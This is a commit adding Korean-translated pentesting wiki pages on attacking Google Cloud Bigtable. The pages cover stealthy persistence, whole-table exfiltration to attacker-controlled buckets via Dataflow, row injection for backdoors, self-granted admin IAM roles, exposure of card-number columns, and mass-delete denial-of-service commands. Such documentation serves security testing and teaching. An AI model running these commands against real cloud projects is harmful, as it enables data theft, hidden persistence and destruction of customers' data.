Translated ['src/pentesting-cloud/gcp-security/gcp-persistence/gcp-bigta

This commit is contained in:
Translator
2025-11-19 14:44:07 +00:00
parent d547b72bcf
commit ddb60d2289
4 changed files with 497 additions and 2 deletions

View File

@@ -0,0 +1,52 @@
# GCP - Bigtable 영속성
{{#include ../../../banners/hacktricks-training.md}}
## Bigtable
Bigtable에 대한 자세한 정보는 다음을 확인하세요:
{{#ref}}
../gcp-services/gcp-bigtable-enum.md
{{#endref}}
### 전용 공격자 App Profile
**권한:** `bigtable.appProfiles.create`, `bigtable.appProfiles.update`.
트래픽을 복제 클러스터로 라우팅하도록 app profile을 생성하고 Data Boost를 활성화하여 수비자가 눈치챌 수 있는 프로비저닝된 노드에 의존하지 않도록 하세요.
```bash
gcloud bigtable app-profiles create stealth-profile \
--instance=<instance-id> --route-any --restrict-to=<attacker-cluster> \
--row-affinity --description="internal batch"
gcloud bigtable app-profiles update stealth-profile \
--instance=<instance-id> --data-boost \
--data-boost-compute-billing-owner=HOST_PAYS
```
이 프로필이 존재하는 한, 이를 참조하는 새 자격 증명으로 다시 연결할 수 있습니다.
### 자체 복제 클러스터 유지
**권한:** `bigtable.clusters.create`, `bigtable.instances.update`, `bigtable.clusters.list`.
조용한 리전에 최소 노드 수의 클러스터를 프로비저닝하세요. 클라이언트 자격 증명이 사라지더라도, **클러스터는 방어팀이 명시적으로 제거할 때까지 모든 테이블의 전체 복사본을 유지합니다.**
```bash
gcloud bigtable clusters create dark-clone \
--instance=<instance-id> --zone=us-west4-b --num-nodes=1
```
Keep an eye on it through `gcloud bigtable clusters describe dark-clone --instance=<instance-id>` so you can scale up instantly when you need to pull data.
### Lock replication behind your own CMEK
**Permissions:** `bigtable.clusters.create`, `cloudkms.cryptoKeyVersions.useToEncrypt` on the attacker-owned key.
클론을 띄울 때 자신의 KMS 키를 사용하세요. 해당 키 없이는 Google이 클러스터를 재생성하거나 페일오버할 수 없으므로, blue teams는 만지기 전에 반드시 당신과 조율해야 합니다.
```bash
gcloud bigtable clusters create cmek-clone \
--instance=<instance-id> --zone=us-east4-b --num-nodes=1 \
--kms-key=projects/<attacker-proj>/locations/<kms-location>/keyRings/<ring>/cryptoKeys/<key>
```
프로젝트의 키를 회전시키거나 비활성화하면 레플리카를 즉시 사용할 수 없게 만들 수 있습니다(나중에 다시 활성화할 수 있음).
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,252 @@
# GCP - Bigtable Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Bigtable
Bigtable에 대한 자세한 정보는 다음을 확인하세요:
{{#ref}}
../gcp-services/gcp-bigtable-enum.md
{{#endref}}
> [!TIP]
> `cbt` CLI를 한 번 Cloud SDK를 통해 설치하면 아래 명령들이 로컬에서 동작합니다:
>
> ```bash
> gcloud components install cbt
> ```
### 행 조회
**권한:** `bigtable.tables.readRows`
`cbt`는 Cloud SDK에 포함되어 있으며 별도의 미들웨어 없이 admin/data APIs와 통신합니다. 이를 침해된 프로젝트/인스턴스로 지정하고 테이블에서 바로 행을 덤프하세요. 일부만 확인하려면 스캔을 제한하세요.
```bash
# Install cbt
gcloud components update
gcloud components install cbt
# Read entries with creds of gcloud
cbt -project=<victim-proj> -instance=<instance-id> read <table-id>
```
### 행 쓰기
**권한:** `bigtable.tables.mutateRows`, (변경 사항을 확인하려면 `bigtable.tables.readRows`가 필요합니다).
같은 도구를 사용해 임의의 셀을 upsert하세요. 이것은 configs에 backdoor를 심거나, web shells를 drop하거나, poisoned dataset rows를 plant하기 위한 가장 빠른 방법입니다.
```bash
# Inject a new row
cbt -project=<victim-proj> -instance=<instance-id> set <table> <row-key> <family>:<column>=<value>
cbt -project=<victim-proj> -instance=<instance-id> set <table-id> user#1337 profile:name="Mallory" profile:role="admin" secrets:api_key=@/tmp/stealme.bin
# Verify the injected row
cbt -project=<victim-proj> -instance=<instance-id> read <table-id> rows=user#1337
```
`cbt set``@/path` 구문을 통해 원시 바이트를 허용하므로, downstream services가 기대하는 대로 compiled payloads나 serialized protobufs를 정확히 push할 수 있습니다.
### 행을 버킷으로 덤프하기
**권한:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
Dataflow 작업을 실행하여 행을 당신이 제어하는 GCS 버킷으로 스트리밍하면 전체 테이블의 내용을 공격자가 제어하는 버킷으로 exfiltrate할 수 있습니다.
> [!NOTE]
> 해당 내보내기 작업을 수행할 충분한 권한을 가진 SA에 대해 `iam.serviceAccounts.actAs` 권한이 필요합니다 (기본적으로 별도 지정하지 않으면 default compute SA가 사용됩니다).
```bash
gcloud dataflow jobs run <job-name> \
--gcs-location=gs://dataflow-templates-us-<REGION>/<VERSION>/Cloud_Bigtable_to_GCS_Json \
--project=<PROJECT> \
--region=<REGION> \
--parameters=<PROJECT>,bigtableInstanceId=<INSTANCE_ID>,bigtableTableId=<TABLE_ID>,filenamePrefix=<PREFIX>,outputDirectory=gs://<BUCKET>/raw-json/ \
--staging-location=gs://<BUCKET>/staging/
# Example
gcloud dataflow jobs run dump-bigtable3 \
--gcs-location=gs://dataflow-templates-us-central1/latest/Cloud_Bigtable_to_GCS_Json \
--project=gcp-labs-3uis1xlx \
--region=us-central1 \
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,filenamePrefix=prefx,outputDirectory=gs://deleteme20u9843rhfioue/raw-json/ \
--staging-location=gs://deleteme20u9843rhfioue/staging/
```
> [!NOTE]
> JSON 대신 Parquet/SequenceFile 출력을 원하면 템플릿을 `Cloud_Bigtable_to_GCS_Parquet` 또는 `Cloud_Bigtable_to_GCS_SequenceFile`로 전환하세요. 권한은 동일하며, 변경되는 것은 템플릿 경로뿐입니다.
### 행 가져오기
**권한:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
공격자가 제어하는 버킷에 있는 데이터를, Dataflow job을 실행하여 자신이 제어하는 GCS 버킷으로 행을 스트리밍함으로써 전체 테이블 내용을 가져오는 것이 가능합니다. 이를 위해 공격자는 먼저 예상되는 스키마에 맞는 데이터로 구성된 parquet 파일을 생성해야 합니다. 공격자는 이전 기법을 따라 `Cloud_Bigtable_to_GCS_Parquet` 설정으로 데이터를 parquet 형식으로 먼저 내보낸 뒤, 다운로드한 parquet 파일에 새 항목을 추가할 수 있습니다
> [!NOTE]
> 내보내기를 수행하려면 충분한 권한을 가진 일부 SA에 대해 `iam.serviceAccounts.actAs` 권한이 필요함에 유의하세요 (기본적으로, 별도 명시가 없으면 기본 compute SA가 사용됩니다).
```bash
gcloud dataflow jobs run import-bt-$(date +%s) \
--region=<REGION> \
--gcs-location=gs://dataflow-templates-<REGION>/<VERSION>>/GCS_Parquet_to_Cloud_Bigtable \
--project=<PROJECT> \
--parameters=bigtableProjectId=<PROJECT>,bigtableInstanceId=<INSTANCE-ID>,bigtableTableId=<TABLE-ID>,inputFilePattern=gs://<BUCKET>/import/bigtable_import.parquet \
--staging-location=gs://<BUCKET>/staging/
# Example
gcloud dataflow jobs run import-bt-$(date +%s) \
--region=us-central1 \
--gcs-location=gs://dataflow-templates-us-central1/latest/GCS_Parquet_to_Cloud_Bigtable \
--project=gcp-labs-3uis1xlx \
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,inputFilePattern=gs://deleteme20u9843rhfioue/import/parquet_prefx-00000-of-00001.parquet \
--staging-location=gs://deleteme20u9843rhfioue/staging/
```
### 백업 복원
**권한:** `bigtable.backups.restore`, `bigtable.tables.create`.
이러한 권한을 가진 공격자는 자신이 제어하는 새 테이블로 백업을 복원하여 이전의 민감한 데이터를 복구할 수 있습니다.
```bash
gcloud bigtable backups list --instance=<INSTANCE_ID_SOURCE> \
--cluster=<CLUSTER_ID_SOURCE>
gcloud bigtable instances tables restore \
--source=projects/<PROJECT_ID_SOURCE>/instances/<INSTANCE_ID_SOURCE>/clusters/<CLUSTER_ID>/backups/<BACKUP_ID> \
--async \
--destination=<TABLE_ID_NEW> \
--destination-instance=<INSTANCE_ID_DESTINATION> \
--project=<PROJECT_ID_DESTINATION>
```
### 삭제된 테이블 복구
**권한:** `bigtable.tables.undelete`
Bigtable는 일반적으로 기본값으로 7일의 유예 기간을 갖는 soft-deletion(소프트 삭제)을 지원합니다. 이 기간 동안 `bigtable.tables.undelete` 권한을 가진 공격자는 최근 삭제된 테이블을 복원해 모든 데이터를 복구할 수 있으며, 파기된 것으로 여겨진 민감한 정보에 접근할 수 있습니다.
이는 특히 다음과 같은 상황에서 유용합니다:
- 사건 대응 중 방어팀이 삭제한 테이블에서 데이터 복구
- 의도적으로 정리(삭제)된 과거 데이터에 접근
- 우발적이거나 악의적인 삭제를 되돌려 지속성 유지
```bash
# List recently deleted tables (requires bigtable.tables.list)
gcloud bigtable instances tables list --instance=<instance-id> \
--show-deleted
# Undelete a table within the retention period
gcloud bigtable instances tables undelete <table-id> \
--instance=<instance-id>
```
> [!NOTE]
> undelete 작업은 구성된 보존 기간(기본값 7일) 내에서만 작동합니다. 이 기간이 지나면 테이블과 해당 데이터는 영구적으로 삭제되며 이 방법으로 복구할 수 없습니다.
### Authorized Views 생성
**권한:** `bigtable.authorizedViews.create`, `bigtable.tables.readRows`, `bigtable.tables.mutateRows`
Authorized views를 사용하면 테이블의 선별된 하위 집합을 제공할 수 있습니다. 최소 권한 원칙을 따르기보다, 당신이 신경 쓰는 **정확한 민감한 열/행 집합**만 게시하고 자신의 principal을 whitelist하세요.
> [!WARNING]
> 문제는 authorized view를 생성하려면 기본 테이블에서 행을 읽고 수정할 수 있어야 하므로 추가 권한을 얻는 것이 아니며, 따라서 이 기법은 대부분 쓸모가 없습니다.
```bash
cat <<'EOF' > /tmp/credit-cards.json
{
"subsetView": {
"rowPrefixes": ["acct#"],
"familySubsets": {
"pii": {
"qualifiers": ["cc_number", "cc_cvv"]
}
}
}
}
EOF
gcloud bigtable authorized-views create card-dump \
--instance=<instance-id> --table=<table-id> \
--definition-file=/tmp/credit-cards.json
gcloud bigtable authorized-views add-iam-policy-binding card-dump \
--instance=<instance-id> --table=<table-id> \
--member='user:<attacker@example.com>' --role='roles/bigtable.reader'
```
액세스가 Authorized View 단위로 범위가 지정되기 때문에, 방어자는 종종 당신이 방금 새로운 고감도 엔드포인트를 생성했다는 사실을 간과합니다.
### Authorized Views 읽기
**권한:** `bigtable.authorizedViews.readRows`
Authorized View에 접근 권한이 있으면, read 요청에서 authorized view 이름을 지정하여 Bigtable client libraries를 사용해 해당 Authorized View의 데이터를 읽을 수 있습니다. Authorized View는 테이블에서 접근할 수 있는 내용을 제한할 가능성이 있다는 점에 유의하세요. 아래는 Python을 사용하는 예시입니다:
```python
from google.cloud import bigtable
from google.cloud.bigtable_v2 import BigtableClient as DataClient
from google.cloud.bigtable_v2 import ReadRowsRequest
# Set your project, instance, table, view id
PROJECT_ID = "gcp-labs-3uis1xlx"
INSTANCE_ID = "avesc-20251118172913"
TABLE_ID = "prod-orders"
AUTHORIZED_VIEW_ID = "auth_view"
client = bigtable.Client(project=PROJECT_ID, admin=True)
instance = client.instance(INSTANCE_ID)
table = instance.table(TABLE_ID)
data_client = DataClient()
authorized_view_name = f"projects/{PROJECT_ID}/instances/{INSTANCE_ID}/tables/{TABLE_ID}/authorizedViews/{AUTHORIZED_VIEW_ID}"
request = ReadRowsRequest(
authorized_view_name=authorized_view_name
)
rows = data_client.read_rows(request=request)
for response in rows:
for chunk in response.chunks:
if chunk.row_key:
row_key = chunk.row_key.decode('utf-8') if isinstance(chunk.row_key, bytes) else chunk.row_key
print(f"Row: {row_key}")
if chunk.family_name:
family = chunk.family_name.value if hasattr(chunk.family_name, 'value') else chunk.family_name
qualifier = chunk.qualifier.value.decode('utf-8') if hasattr(chunk.qualifier, 'value') else chunk.qualifier.decode('utf-8')
value = chunk.value.decode('utf-8') if isinstance(chunk.value, bytes) else str(chunk.value)
print(f" {family}:{qualifier} = {value}")
```
### Denial of Service via Delete Operations
**권한:** `bigtable.appProfiles.delete`, `bigtable.authorizedViews.delete`, `bigtable.authorizedViews.deleteTagBinding`, `bigtable.backups.delete`, `bigtable.clusters.delete`, `bigtable.instances.delete`, `bigtable.tables.delete`
Bigtable의 삭제 권한들은 denial of service attacks에 악용될 수 있습니다. 이러한 권한을 가진 공격자는 중요한 Bigtable 리소스를 삭제해 운영을 방해할 수 있습니다:
- **`bigtable.appProfiles.delete`**: 애플리케이션 프로필을 삭제하여 클라이언트 연결 및 라우팅 구성이 중단됩니다
- **`bigtable.authorizedViews.delete`**: authorized views를 제거하여 애플리케이션의 정당한 접근 경로를 차단합니다
- **`bigtable.authorizedViews.deleteTagBinding`**: authorized views에서 태그 바인딩을 제거합니다
- **`bigtable.backups.delete`**: 백업 스냅샷을 파기하여 재해 복구 옵션을 없앱니다
- **`bigtable.clusters.delete`**: 전체 클러스터를 삭제하여 즉시 데이터 사용 불가 상태를 초래합니다
- **`bigtable.instances.delete`**: 전체 Bigtable 인스턴스를 제거하여 모든 테이블과 구성을 삭제합니다
- **`bigtable.tables.delete`**: 개별 테이블을 삭제하여 데이터 손실 및 애플리케이션 장애를 초래합니다
```bash
# Delete a table
gcloud bigtable instances tables delete <table-id> \
--instance=<instance-id>
# Delete an authorized view
gcloud bigtable authorized-views delete <view-id> \
--instance=<instance-id> --table=<table-id>
# Delete a backup
gcloud bigtable backups delete <backup-id> \
--instance=<instance-id> --cluster=<cluster-id>
# Delete an app profile
gcloud bigtable app-profiles delete <profile-id> \
--instance=<instance-id>
# Delete a cluster
gcloud bigtable clusters delete <cluster-id> \
--instance=<instance-id>
# Delete an entire instance
gcloud bigtable instances delete <instance-id>
```
> [!WARNING]
> 삭제 작업은 종종 즉시 수행되며 되돌릴 수 없습니다. 이러한 명령은 영구적인 데이터 손실과 심각한 서비스 중단을 초래할 수 있으므로 테스트하기 전에 백업이 있는지 확인하세요.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,103 @@
# GCP - Bigtable Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Bigtable
Bigtable에 대한 자세한 정보는 다음을 확인하세요:
{{#ref}}
../gcp-services/gcp-bigtable-enum.md
{{#endref}}
### `bigtable.instances.setIamPolicy`
**권한:** `bigtable.instances.setIamPolicy` (보통 현재 바인딩을 읽기 위한 `bigtable.instances.getIamPolicy`도 필요합니다).
인스턴스 IAM 정책을 소유하면 자신에게 **`roles/bigtable.admin`** (또는 임의의 커스텀 역할)을 부여할 수 있으며, 이는 인스턴스의 모든 클러스터, 테이블, 백업 및 승인된 뷰에 연쇄적으로 적용됩니다.
```bash
gcloud bigtable instances add-iam-policy-binding <instance-id> \
--member='user:<attacker@example.com>' \
--role='roles/bigtable.admin'
```
> [!TIP]
> 기존 바인딩을 나열할 수 없다면, 자신을 계속 포함시키는 조건으로 새 정책 문서를 작성해 `gcloud bigtable instances set-iam-policy`로 적용하세요.
이 권한을 확보한 후, 더 많은 Bigtable 권한 악용 방법은 [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md)을 확인하세요.
### `bigtable.tables.setIamPolicy`
**권한:** `bigtable.tables.setIamPolicy` (선택적으로 `bigtable.tables.getIamPolicy`).
인스턴스 정책은 잠겨 있을 수 있지만 개별 테이블은 위임될 수 있습니다. 테이블 IAM을 편집할 수 있다면 다른 워크로드에 손대지 않고 **대상 데이터셋의 소유자로 자신을 승격시킬 수 있습니다**.
```bash
gcloud bigtable tables add-iam-policy-binding <table-id> \
--instance=<instance-id> \
--member='user:<attacker@example.com>' \
--role='roles/bigtable.admin'
```
After having this permission check in the [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) techniques for more ways to abuse Bigtable permissions.
### `bigtable.backups.setIamPolicy`
**권한:** `bigtable.backups.setIamPolicy`
백업은 당신이 제어하는 **어떤 인스턴스든 어떤 프로젝트든** 복원할 수 있습니다. 먼저 본인 아이덴티티에 백업 접근 권한을 부여한 뒤, Admin/Owner 역할을 가진 샌드박스에 복원하세요.
만약 `bigtable.backups.setIamPolicy` 권한이 있다면 스스로에게 `bigtable.backups.restore` 권한을 부여해 이전 백업을 복원하고 민감한 정보에 접근하려 시도할 수 있습니다.
```bash
# Take ownership of the snapshot
gcloud bigtable backups add-iam-policy-binding <backup-id> \
--instance=<instance-id> --cluster=<cluster-id> \
--member='user:<attacker@example.com>' \
--role='roles/bigtable.admin'
```
백업을 복원하는 방법은 [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md)에서 이 권한 확인을 참조하세요.
### Update authorized view
**권한:** `bigtable.authorizedViews.update`
Authorized Views는 행/열을 가려야 합니다. 이를 수정하거나 삭제하면 방어자가 의존하는 **세분화된 보호 장치가 제거됩니다**.
```bash
# Broaden the subset by uploading a permissive definition
gcloud bigtable authorized-views update <view-id> \
--instance=<instance-id> --table=<table-id> \
--definition-file=/tmp/permissive-view.json --ignore-warnings
# Json example not filtering any row or column
cat <<'EOF' > /tmp/permissive-view.json
{
"subsetView": {
"rowPrefixes": [""],
"familySubsets": {
"<SOME FAMILITY NAME USED IN THE CURRENT TABLE>": {
"qualifierPrefixes": [""]
}
}
}
}
EOF
# Describe the authorized view to get a family name
gcloud bigtable authorized-views describe <view-id> \
--instance=<instance-id> --table=<table-id>
```
이 권한을 가진 후에는 [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md)에서 Authorized View에서 데이터를 읽는 방법을 확인하세요.
### `bigtable.authorizedViews.setIamPolicy`
**권한:** `bigtable.authorizedViews.setIamPolicy`.
이 권한을 가진 공격자는 자신에게 Authorized View에 대한 접근 권한을 부여할 수 있으며, Authorized View에는 그렇지 않으면 접근할 수 없는 민감한 데이터가 포함되어 있을 수 있습니다.
```bash
# Give more permissions over an existing view
gcloud bigtable authorized-views add-iam-policy-binding <view-id> \
--instance=<instance-id> --table=<table-id> \
--member='user:<attacker@example.com>' \
--role='roles/bigtable.viewer'
```
이 권한 검사를 확인한 후 권한이 허용된 뷰에서 읽는 방법은 [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md)에서 확인하세요.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,9 +2,70 @@
{{#include ../../../banners/hacktricks-training.md}}
## [Bigtable](https://cloud.google.com/sdk/gcloud/reference/bigtable/) <a href="#cloud-bigtable" id="cloud-bigtable"></a>
## Bigtable
대규모 분석 및 운영 작업을 위한 완전 관리형, 확장 가능한 NoSQL 데이터베이스 서비스로, 최대 99.999% 가용성을 제공합니다. [Learn more](https://cloud.google.com/bigtable).
Google Cloud Bigtable는 완전관리형이며 확장 가능한 NoSQL 데이터베이스로, 매우 높은 처리량과 낮은 지연 시간을 요구하는 애플리케이션을 위해 설계되었습니다. 수천 개의 노드에 걸쳐 페타바이트 단위의 대용량 데이터를 처리하도록 구축되었으며 빠른 읽기/쓰기 성능을 제공합니다. Bigtable은 시계열 데이터(time-series data), IoT 텔레메트리, 금융 분석, 개인화 엔진, 대규모 운영 데이터베이스와 같은 워크로드에 적합합니다. 기본 저장 모델로 희소(sparse)하고 분산된 다차원 정렬 맵을 사용하므로 많은 컬럼이 비어 있는 와이드 테이블을 효율적으로 저장할 수 있습니다. [Learn more](https://cloud.google.com/bigtable).
### 계층 구조
1. **Bigtable Instance**
Bigtable 인스턴스는 생성하는 최상위 리소스입니다.
자체적으로 데이터를 저장하지 않으며—클러스터와 테이블을 함께 그룹화하는 논리적 컨테이너로 생각하면 됩니다.
인스턴스에는 두 가지 유형이 있습니다:
- 개발 인스턴스 (single-node, 저렴, 프로덕션용 아님)
- 프로덕션 인스턴스 (여러 클러스터를 가질 수 있음)
2. **Clusters**
클러스터는 Bigtable 데이터를 서비스하는 데 사용되는 실제 컴퓨트 및 스토리지 리소스를 포함합니다.
- 각 클러스터는 단일 리전에 존재합니다.
- 노드로 구성되며, 노드는 CPU, RAM 및 네트워크 용량을 제공합니다.
- 고가용성이나 전역 읽기/쓰기 위해 멀티-클러스터 인스턴스를 생성할 수 있습니다.
- 데이터는 동일 인스턴스 내 클러스터들 간에 자동으로 복제됩니다.
중요:
- 테이블은 특정 클러스터가 아니라 인스턴스에 속합니다.
- 클러스터는 단순히 데이터를 제공하는 리소스를 제공합니다.
3. **Tables**
Bigtable의 테이블은 NoSQL 데이터베이스의 테이블과 유사합니다:
- 데이터는 행 단위로 저장되며, 행 키(row key)로 식별됩니다.
- 각 행은 컬럼 패밀리(column family)를 포함하며, 컬럼 패밀리는 컬럼을 포함합니다.
- 희소(sparse) 구조로 빈 셀은 공간을 소비하지 않습니다.
- Bigtable은 행 키 기준으로 사전식(lexicographically)으로 정렬된 상태로 데이터를 저장합니다.
테이블은 인스턴스 내 모든 클러스터에 의해 서빙됩니다.
4. **Tablets (and Hot Tablets)**
Bigtable은 각 테이블을 tablets라고 불리는 수평 파티션으로 분할합니다. 테이블은 다음과 같습니다:
- 연속된 행 키 범위입니다.
- 특정 시점에는 단일 노드에 저장됩니다.
- Tablets은 Bigtable에 의해 자동으로 분할되고 병합되며 이동됩니다.
A **hot tablet**은 다음과 같은 경우에 발생합니다:
- 너무 많은 읽기 또는 쓰기 요청이 동일한 행 키 범위(동일한 tablet)에 집중될 때.
- 해당 특정 tablet/노드가 과부하됩니다.
- 이로 인해 핫스팟(성능 병목)이 발생합니다.
5. **Authorized Views**
Authorized Views를 사용하면 테이블 전체에 대한 접근 권한을 부여하지 않고도 특정 사용자나 애플리케이션과 공유할 수 있는 테이블 데이터의 하위 집합을 생성할 수 있습니다. 이는 다음과 같은 경우에 유용합니다:
- 민감한 데이터에 대한 접근을 제한할 때.
- 특정 컬럼이나 행에 대해 읽기 전용 접근을 제공할 때.
6. **App Profiles**
Bigtable 앱 프로필(App profile)은 특히 멀티 클러스터 환경에서 특정 애플리케이션이나 클라이언트가 Bigtable 인스턴스와 어떻게 상호작용해야 하는지를 정의하는 구성입니다. 앱 프로필은 라우팅 동작(요청을 단일 클러스터로 라우팅할지, 고가용성을 위해 여러 클러스터에 분산할지)을 제어하고, 쓰기 복제 방식을 동기(synchronous, 더 강한 일관성) 또는 비동기(asynchronous, 더 낮은 지연) 모드 중 선택하도록 관리합니다.
```bash
# Cloud Bigtable
gcloud bigtable instances list
@@ -15,6 +76,11 @@ gcloud bigtable instances get-iam-policy <instance>
gcloud bigtable clusters list
gcloud bigtable clusters describe <cluster>
## Tables
gcloud bigtable tables list --instance <INSTANCE>
gcloud bigtable tables describe --instance <INSTANCE> <TABLE>
gcloud bigtable tables get-iam-policy --instance <INSTANCE> <TABLE>
## Backups
gcloud bigtable backups list --instance <INSTANCE>
gcloud bigtable backups describe --instance <INSTANCE> <backupname>
@@ -26,5 +92,27 @@ gcloud bigtable hot-tablets list
## App Profiles
gcloud bigtable app-profiles list --instance <INSTANCE>
gcloud bigtable app-profiles describe --instance <INSTANCE> <app-prof>
## Authorized Views
gcloud bigtable authorized-views list --instance <INSTANCE> --table <TABLE>
gcloud bigtable authorized-views describe --instance <INSTANCE> --table <TABLE> <VIEW>
```
## Privilege Escalation
{{#ref}}
../gcp-privilege-escalation/gcp-bigtable-privesc.md
{{#endref}}
## Post Exploitation
{{#ref}}
../gcp-post-exploitation/gcp-bigtable-post-exploitation.md
{{#endref}}
## Persistence
{{#ref}}
../gcp-persistence/gcp-bigtable-persistence.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}